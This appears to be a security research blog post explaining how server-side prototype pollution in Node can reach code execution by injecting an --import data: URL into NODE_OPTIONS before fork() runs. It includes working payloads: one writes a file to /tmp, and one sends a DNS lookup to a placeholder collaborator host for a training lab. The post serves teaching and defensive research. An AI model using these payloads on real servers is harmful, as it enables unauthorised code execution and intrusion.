Exploiting prototype pollution in Node without the filesystem

A container showing some JavaScript prototype pollution code and various wires and monitors with the NodeJS logo on

In this post, we'll introduce a new exploitation technique for Server-Side Prototype Pollution.

If you've detected SSPP (maybe using one of our black-box techniques), the next step towards RCE is to find a sink such as fork(). Fork is typically exploited by using the --require command line flag using the filesystem or environment variables but what if you can't do that? We'll show you how to use a new command line flag in Node to execute arbitrary code all without requiring a local file.

Import command line flag

From Node 19.0.0 the --import flag allows you to specify a module to load. I found this when designing some Academy labs, I discovered it was possible to use the --import command line option to execute arbitrary JavaScript without needing anything on the filesystem! MichaƂ Bentkowski first discovered this with client-side JavaScript using the function-like import() in Chrome using the data: protocol but this can also be applied to the Node command line flag too. The attack works like this:

--import='data:text/javascript,console.log(1337)'

At the time of testing this is also allowed in NODE_OPTIONS. We reported this to the Node developers and after careful consideration they decided that it was "not an entrypoint security issue" and therefore didn't violate their threat model.

Executing arbitrary code

To execute arbitrary code and gain access to the filesystem or system based commands you have to use Node modules using imports. Here is a demonstration on how to use this technique:

let{fork} = require('child_process');
Object.prototype.NODE_OPTIONS = "--import=\"data:text/javascript,import fs from 'node:fs';fs.writeFile('/tmp/pwnd', 'pwnd', x=>1)\"";
fork("test2.js");

The above code uses the --import command line flag to load a data URL which uses import to load the Node filesystem module and simply writes a file to /tmp/pwnd with "pwnd" as the contents.

Try it for yourself

We've upgraded Node on our Academy labs so you can try out this technique. The best lab to use is "Remote code execution via server-side prototype pollution" since this uses fork(). Using the following code should create a DNS interaction when the --import flag is used. Can you modify the payload to solve the lab?

"__proto__":{
   "NODE_OPTIONS": "--import=\"data:text/javascript,import dns from 'node:dns';dns.lookup('YOUR_COLLABORATOR_ID.oastify.com', x=>1)\""
}

Back to all articles

Related Research